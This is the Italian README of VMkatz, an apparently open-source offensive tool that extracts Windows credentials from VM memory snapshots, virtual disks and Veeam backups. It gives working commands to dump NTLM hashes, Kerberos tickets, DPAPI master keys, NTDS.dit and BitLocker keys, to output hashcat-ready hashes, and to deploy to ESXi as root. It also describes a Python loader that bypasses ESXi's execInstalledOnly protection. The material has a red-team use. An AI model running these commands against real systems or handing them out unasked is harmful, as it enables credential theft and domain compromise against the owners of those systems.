
Estrai le credenziali di Windows direttamente dagli snapshot della memoria delle VM e dai dischi virtuali.
Sei a tre settimane dall'inizio di un ingaggio red team. Atterri su un NAS collegato al cluster di virtualizzazione — centinaia di gigabyte di .vmdk, .vmsn, .sav proprio lì. Ma il tuo collegamento va a 200 KB/s. Esfiltrare un singolo disco da 100 GB richiederebbe sei giorni.
VMkatz esiste perché non dovresti essere costretto a esfiltrare ciò che puoi leggere sul posto. Estrae le credenziali Windows direttamente dai file delle VM — snapshot di memoria, dischi virtuali, backup Veeam: hash NTLM, ticket Kerberos, chiavi master DPAPI, segreti LSA, NTDS.dit, chiavi BitLocker, segreti dei browser.
Binario statico singolo, ~3 MB. Lo rilasci sull'host ESXi, sul nodo Proxmox o sul NAS. Lo punti su una cartella di VM e te ne vai con le credenziali, non con le immagini disco.
Tutti i 9 provider di credenziali SSP implementati da mimikatz:
| Provider | Dati | Note |
|---|---|---|
| MSV1_0 | Hash NT/LM, SHA1 | Fallback con scansione fisica per le voci paginate |
| WDigest | Password in chiaro | Percorso della lista concatenata + fallback su .data |
| Kerberos | Chiavi AES/RC4/DES, ticket (.kirbi/.ccache) | Percorso dell'albero AVL + carving dei ticket per le sessioni liberate |
| TsPkg | Password in chiaro | Solo sessioni RDP |
| DPAPI | Cache delle chiavi master (GUID + chiave decifrata) | Chiave master SHA1 per la decifratura DPAPI offline |
| SSP | Credenziali in chiaro | SspCredentialList in msv1_0.dll |
| LiveSSP | Credenziali in chiaro | Richiede livessp.dll (raro dopo Win8) |
| Credman | Credenziali memorizzate | Enumerazione tramite tabella hash + lista singola |
| CloudAP | Token Azure AD | Tipicamente vuoto per l'accesso solo locale |
Inoltre: estrazione della FVEK BitLocker dalla memoria (scansione dei pool tag per FVEc/Cngb).
$DPAPImk$ — modalità 15300/15310/15900/15910)| Formato | Estensioni | Origine | Stato |
|---|---|---|---|
| Snapshot VMware | .vmsn + .vmem | Workstation, ESXi | Testato |
| Snapshot VMware embedded | .vmsn (senza .vmem) | ESXi suspend | Testato |
| Stati salvati VirtualBox | .sav | VirtualBox | Testato |
| Stati savevm QEMU/KVM | rilevati automaticamente | Proxmox, QEMU | Testato |
| Core dump ELF QEMU/KVM | .elf | virsh dump | Testato |
| Stati salvati Hyper-V | .vmrs | Hyper-V 2016+ | Testato |
| Backup Veeam | .vbk, .vib, .vrb | Veeam B&R | Testato |
| Dischi virtuali VMware | .vmdk (sparse + flat) | Workstation, ESXi | Testato |
| Dischi virtuali VirtualBox | .vdi | VirtualBox | Testato |
| Dischi virtuali QEMU/KVM | .qcow2 | QEMU, Proxmox | Testato |
| Dischi virtuali Hyper-V | .vhdx, .vhd | Hyper-V | Testato |
| Dispositivi SCSI raw VMFS-5/6 | /dev/disks/... | ESXi (aggira i blocchi dei file) | Testato |
| Dispositivi a blocchi LVM | /dev/... | Proxmox LVM-thin | Testato |
| Hive di registro raw | SAM, SYSTEM, SECURITY | reg save | Testato |
| NTDS.dit raw | ntds.dit + SYSTEM | Domain controller | Testato |
| Minidump LSASS | .dmp | procdump, Task Manager | Testato |
| Cartelle di VM | qualsiasi cartella | Rileva automaticamente tutti i file | Testato |
Sistema operativo target: da Windows Server 2003 a Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Formato | Flag | Descrizione |
|---|---|---|
text | --format text (predefinito) | Dump completo delle credenziali con metadati di sessione |
brief | --format brief | Riepilogo compatto con una riga per credenziale |
ntlm | --format ntlm | Formato pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hash grezzi: modalità 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Leggibile da macchina, tutti i campi |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Quando la protezione VIB (execInstalledOnly) è abilitata, utilizzare il loader Python — non è necessario disabilitare l'impostazione:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Consulta docs/esxi.md per i dettagli sul bypass dei VIB, l'accesso ai dispositivi raw VMFS e l'auto-discovery.
VMkatz è modulare. Le funzionalità possono essere abilitate/disabilitate in fase di compilazione:
| Funzionalità | Descrizione | Predefinito |
|---|---|---|
vmware | Supporto snapshot VMware .vmsn/.vmem | Sì |
vbox | Supporto saved-state VirtualBox .sav | Sì |
qemu | Core dump ELF QEMU/KVM + savevm Proxmox | Sì |
hyperv | Supporto dump Hyper-V .vmrs/.bin/.raw | Sì |
sam | Estrazione da disco (SAM/LSA/DCC2) + gestori di formati disco | Sì |
ntds.dit | Estrazione AD da NTDS.dit. Richiede sam | Sì |
carve | Estrazione degradata da memoria parziale/troncata | Sì |
dump | Dump della memoria di processo come minidump | Sì |
vmfs | Parser raw VMFS-5/6 per dispositivi SCSI ESXi. Richiede sam | Sì |
chrome | Estrazione dei segreti del browser (Chromium + Firefox). Richiede sam | No |
veeam | Supporto backup Veeam VBK/VIB/VRB. Richiede sam | No |